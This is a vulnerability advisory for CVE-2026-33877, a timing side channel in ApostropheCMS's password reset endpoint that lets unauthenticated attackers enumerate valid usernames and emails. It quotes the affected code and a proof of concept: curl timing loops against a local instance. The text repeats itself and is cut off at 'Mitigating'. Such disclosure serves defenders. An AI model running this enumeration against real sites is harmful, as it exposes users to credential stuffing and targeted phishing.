CVE-2026-33877

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a timing side-channel vulnerability in the password reset endpoint (/api/v1/@apostrophecms/login/reset-request) that allows unauthenticated username and email enumeration. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs a MongoDB update and SMTP email send with no equivalent delay normalization, producing measurably different response times. The endpoint also accepts both username and email via an $or query, and has no rate limiting as the existing checkLoginAttempts throttle only applies to the login flow. This enables automated enumeration of valid accounts for use in credential stuffing or targeted phishing. Only instances that have explicitly enabled the passwordReset option are affected, as it defaults to false. This issue has been fixed in version 4.29.0.

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a timing side-channel vulnerability in the password reset endpoint (/api/v1/@apostrophecms/login/reset-request) that allows unauthenticated username and email enumeration. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs a MongoDB update and SMTP email send with no equivalent delay normalization, producing measurably different response times. The endpoint also accepts both username and email via an $or query, and has no rate limiting as the existing checkLoginAttempts throttle only applies to the login flow. This enables automated enumeration of valid accounts for use in credential stuffing or targeted phishing. Only instances that have explicitly enabled the passwordReset option are affected, as it defaults to false. This issue has been fixed in version 4.29.0.

Summary

The password reset endpoint (/api/v1/@apostrophecms/login/reset-request) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.

Details

The resetRequest handler in modules/@apostrophecms/login/index.js attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:

User not found — fixed 2000ms delay (index.js:309-314):

if (!user) {
  await wait();  // wait = (t = 2000) => Promise.delay(t)
  self.apos.util.error(
    `Reset password request error - the user ${email} doesn\`t exist.`
  );
  return;
}

User found — variable-duration DB + SMTP operations, no artificial delay (index.js:323-355):

const reset = self.apos.util.generateId();
user.passwordReset = reset;
user.passwordResetAt = new Date();
await self.apos.user.update(req, user, { permissions: false });
// ... URL construction ...
await self.email(req, 'passwordResetEmail', {
  user,
  url: parsed.toString(),
  site
}, {
  to: user.email,
  subject: req.t('apostrophe:passwordResetRequest', { site })
});

The user-found path includes a MongoDB update() call and an SMTP email() send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.

Additionally, the getPasswordResetUser method (index.js:664-666) accepts both username and email via an $or query, enabling enumeration of both identifiers:

const criteriaOr = [
  { username: email },
  { email }
];

There is no rate limiting on the reset endpoint. The checkLoginAttempts throttle (index.js:978) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.

PoC

Prerequisites: An Apostrophe instance with passwordReset: true enabled in @apostrophecms/login configuration.

Step 1 — Baseline invalid user timing:

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{time_total}\n" \
    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
    -H "Content-Type: application/json" \
    -d '{"email": "nonexistent-user-'$i'@example.com"}'
done
# Expected: all responses cluster tightly around 2.0xx seconds

Step 2 — Test known valid user:

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{time_total}\n" \
    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
    -H "Content-Type: application/json" \
    -d '{"email": "admin"}'
done
# Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)

Step 3 — Statistical comparison: The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.

Impact

• Account enumeration: An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance.
• Credential stuffing preparation: Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases.
• Phishing targeting: Knowledge of valid accounts enables targeted phishing campaigns against confirmed users.
• No rate limiting: The absence of throttling on the reset endpoint allows high-speed automated enumeration.
• **Mitigating…

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a timing side-channel vulnerability in the password reset endpoint (/api/v1/@apostrophecms/login/reset-request) that allows unauthenticated username and email enumeration. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs a MongoDB update and SMTP email send with no equivalent delay normalization, producing measurably different response times. The endpoint also accepts both username and email via an $or query, and has no rate limiting as the existing checkLoginAttempts throttle only applies to the login flow. This enables automated enumeration of valid accounts for use in credential stuffing or targeted phishing. Only instances that have explicitly enabled the passwordReset option are affected, as it defaults to false. This issue has been fixed in version 4.29.0.

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a timing side-channel vulnerability in the password reset endpoint (/api/v1/@apostrophecms/login/reset-request) that allows unauthenticated username and email enumeration. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs a MongoDB update and SMTP email send with no equivalent delay normalization, producing measurably different response times. The endpoint also accepts both username and email via an $or query, and has no rate limiting as the existing checkLoginAttempts throttle only applies to the login flow. This enables automated enumeration of valid accounts for use in credential stuffing or targeted phishing. Only instances that have explicitly enabled the passwordReset option are affected, as it defaults to false. This issue has been fixed in version 4.29.0.

Summary

The password reset endpoint (/api/v1/@apostrophecms/login/reset-request) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.

Details

The resetRequest handler in modules/@apostrophecms/login/index.js attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:

User not found — fixed 2000ms delay (index.js:309-314):

if (!user) {
  await wait();  // wait = (t = 2000) => Promise.delay(t)
  self.apos.util.error(
    `Reset password request error - the user ${email} doesn\`t exist.`
  );
  return;
}

User found — variable-duration DB + SMTP operations, no artificial delay (index.js:323-355):

const reset = self.apos.util.generateId();
user.passwordReset = reset;
user.passwordResetAt = new Date();
await self.apos.user.update(req, user, { permissions: false });
// ... URL construction ...
await self.email(req, 'passwordResetEmail', {
  user,
  url: parsed.toString(),
  site
}, {
  to: user.email,
  subject: req.t('apostrophe:passwordResetRequest', { site })
});

The user-found path includes a MongoDB update() call and an SMTP email() send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.

Additionally, the getPasswordResetUser method (index.js:664-666) accepts both username and email via an $or query, enabling enumeration of both identifiers:

const criteriaOr = [
  { username: email },
  { email }
];

There is no rate limiting on the reset endpoint. The checkLoginAttempts throttle (index.js:978) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.

PoC

Prerequisites: An Apostrophe instance with passwordReset: true enabled in @apostrophecms/login configuration.

Step 1 — Baseline invalid user timing:

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{time_total}\n" \
    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
    -H "Content-Type: application/json" \
    -d '{"email": "nonexistent-user-'$i'@example.com"}'
done
# Expected: all responses cluster tightly around 2.0xx seconds

Step 2 — Test known valid user:

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{time_total}\n" \
    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
    -H "Content-Type: application/json" \
    -d '{"email": "admin"}'
done
# Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)

Step 3 — Statistical comparison: The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.

Impact

• Account enumeration: An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance.
• Credential stuffing preparation: Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases.
• Phishing targeting: Knowledge of valid accounts enables targeted phishing campaigns against confirmed users.
• No rate limiting: The absence of throttling on the reset endpoint allows high-speed automated enumeration.
• **Mitigating…